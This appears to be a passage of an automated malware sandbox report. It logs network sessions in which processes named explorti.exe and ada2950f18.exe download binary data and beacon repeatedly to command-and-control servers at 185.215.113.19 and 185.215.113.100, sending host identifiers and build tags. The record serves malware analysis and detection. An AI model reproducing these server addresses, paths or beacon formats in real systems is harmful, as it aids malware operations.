Sep 1, 2024 02:48:10.273499966 CEST	328	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Sep 1, 2024 02:48:10.273713112 CEST	1236	IN	Data Raw: 00 8b f3 c7 87 2c fd ff ff 40 c9 49 00 59 39 9f 34 fd ff ff 0f 87 f0 0f 04 00 ff b7 30 fd ff ff 89 9f 34 fd ff ff e8 04 e8 01 00 59 8b 8f 24 fd ff ff 85 c9 0f 85 f9 0f 04 00 8d b7 10 fd ff ff 8b ce c7 06 3c c9 49 00 e8 a3 01 00 00 ff 76 04 e8 da Data Ascii: ,@IY9404Y$<IvY-l\L_^[`t#0
Sep 1, 2024 02:48:10.273724079 CEST	1236	IN	Data Raw: 04 00 56 6a 40 e8 18 e3 01 00 59 ff 75 08 8b f0 8b ce e8 11 00 00 00 8b 4f 04 89 4e 38 89 77 04 5e ff 07 5f 5d c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d Data Ascii: Vj@YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF
Sep 1, 2024 02:48:10.273734093 CEST	328	IN	Data Raw: ff 75 0c ff 75 08 e8 a8 cc 00 00 85 c0 78 0f 8d 4d ec e8 16 00 00 00 8b 4d 10 33 f6 88 01 8d 4d ec e8 ed af 00 00 8b c6 5e c9 c2 0c 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 Data Ascii: uuxMM3M^At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6
Sep 1, 2024 02:48:10.274333000 CEST	1236	IN	Data Raw: e8 16 8d 00 00 85 c0 0f 85 c7 06 04 00 8b 47 04 33 c9 83 fe 2b 0f 94 c1 8b 44 88 08 66 83 78 08 47 75 42 8d 41 03 89 45 f8 8d 45 fc 53 50 8d 45 e8 50 8d 45 f8 50 57 e8 1b 44 00 00 85 c0 0f 88 a2 06 04 00 8d 4d e8 e8 6e 77 00 00 8b 55 fc e9 25 ff Data Ascii: G3+DfxGuBAEESPEPEPWDMnwU%lMc3_^[jiXlU<SVMMW}3E7Nuu3RB3t&u"@f9putBuu6UMEPdEM@
Sep 1, 2024 02:48:10.274343014 CEST	1236	IN	Data Raw: 03 00 00 85 c0 78 02 8b f3 8d 4d 84 e8 1a 02 00 00 8d 8d 78 ff ff ff e8 0f 02 00 00 8d 8d 6c ff ff ff e8 04 02 00 00 8d 8d 60 ff ff ff e8 f9 01 00 00 8d 4d a8 e8 f1 01 00 00 8d 8d 54 ff ff ff e8 e6 01 00 00 8d 4d 9c e8 de 01 00 00 5f 8b c6 5e 5b Data Ascii: xMxl`MTM_^[rU]AjYf9H}AjYf9HEE}xPG\|EIEE}`PGdE%}
Sep 1, 2024 02:48:10.274353981 CEST	1236	IN	Data Raw: 0f 85 aa 00 04 00 a1 00 14 4d 00 85 c0 0f 84 b5 00 04 00 33 ff be 90 23 4d 00 47 3b c7 0f 84 b1 00 04 00 8d 44 24 11 50 51 68 00 14 4d 00 68 18 14 4d 00 8b ce e8 2c 03 00 00 84 c0 0f 84 b1 00 04 00 a0 90 23 4d 00 a2 04 14 4d 00 a0 91 23 4d 00 88 Data Ascii: M3#MG;D$PQhMhM,#MM#MD$D$P$<Ph5MhIt$MY@\$5MhMa\|$sY4=MMuW0M=MuD$8PI
Sep 1, 2024 02:48:10.274364948 CEST	1236	IN	Data Raw: ca 49 00 e8 cf 1a 02 00 59 59 85 c0 0f 84 8b fd 03 00 57 68 30 ca 49 00 e8 ba 1a 02 00 59 59 85 c0 0f 84 92 fd 03 00 57 68 08 ca 49 00 e8 a5 1a 02 00 59 59 85 c0 0f 84 99 fd 03 00 57 68 dc c9 49 00 e8 90 1a 02 00 59 59 85 c0 75 3e 89 1d 00 14 4d Data Ascii: IYYWh0IYYWhIYYWhIYYu>M8]uMEPMEMPxEPM9MM3NQjWJ:u3]@ESPEPW@Mt~5EPML?CESjP
Sep 1, 2024 02:48:10.278439045 CEST	1236	IN	Data Raw: 46 04 ff 75 08 8d 04 43 50 e8 ed d9 01 00 01 7e 04 83 c4 0c 8b 06 33 d2 8b 4e 04 5f 66 89 14 48 8b c6 5e 5b 5d c2 08 00 55 8b ec 83 e4 f8 b8 3c 00 01 00 e8 f3 ea 03 00 8b 45 08 8d 4c 24 1c 53 33 db a3 94 23 4d 00 56 b8 34 cc 49 00 66 89 1d 90 23 Data Ascii: FuCP~3N_fH^[]U<EL$S3#MV4If#MW#M#M#M#M#M#M#M#M#M#MDI#M#M#M#M#M#M#M#M#M<I#M#M#M#MfNtL$(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49737	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:12.449960947 CEST	182	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 30 35 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000053001&unit=246122658369
Sep 1, 2024 02:48:12.887829065 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49738	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:13.079498053 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:13.820207119 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:13.869268894 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:14.120666981 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49740	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:14.552277088 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:15.260701895 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:15.363873005 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:15.621436119 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49746	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:16.536573887 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:17.228288889 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:17.229737043 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:17.475552082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49753	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:17.961639881 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:18.691330910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:18.700330973 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:18.947344065 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49760	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:19.219430923 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:20.006706953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:20.260715008 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:20.509494066 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49765	185.215.113.100	80	7984	C:\Users\user\AppData\Roaming\1000052000\ada2950f18.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:19.495390892 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.100 Connection: Keep-Alive Cache-Control: no-cache
Sep 1, 2024 02:48:20.243258953 CEST	203	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 00:48:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Sep 1, 2024 02:48:20.268739939 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IJEGHJECFCFCBFIDBGCG Host: 185.215.113.100 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 35 34 37 36 32 35 31 35 37 32 41 33 32 34 35 37 38 32 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 45 47 48 4a 45 43 46 43 46 43 42 46 49 44 42 47 43 47 2d 2d 0d 0a Data Ascii: ------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="hwid"F5476251572A3245782482------IJEGHJECFCFCBFIDBGCGContent-Disposition: form-data; name="build"leva------IJEGHJECFCFCBFIDBGCG--
Sep 1, 2024 02:48:20.845109940 CEST	210	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 00:48:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=
Sep 1, 2024 02:48:20.846112013 CEST	210	IN	HTTP/1.1 200 OK Date: Sun, 01 Sep 2024 00:48:20 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49777	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:20.851186037 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:21.607131004 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:21.660656929 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:21.912096977 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49786	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:22.058595896 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:23.009675980 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:23.010422945 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:23.260334015 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49791	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:23.378277063 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:24.289241076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:24.303303003 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Sep 1, 2024 02:48:24.550271988 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49794	185.215.113.19	80	7640	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Sep 1, 2024 02:48:24.661103010 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 1, 2024 02:48:25.398871899 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 01 Sep 2024 00:48:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Sep 1, 2024 02:48:25.399523020 CEST	306	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 43 42 31 32 39 37 35 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7CB12975B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
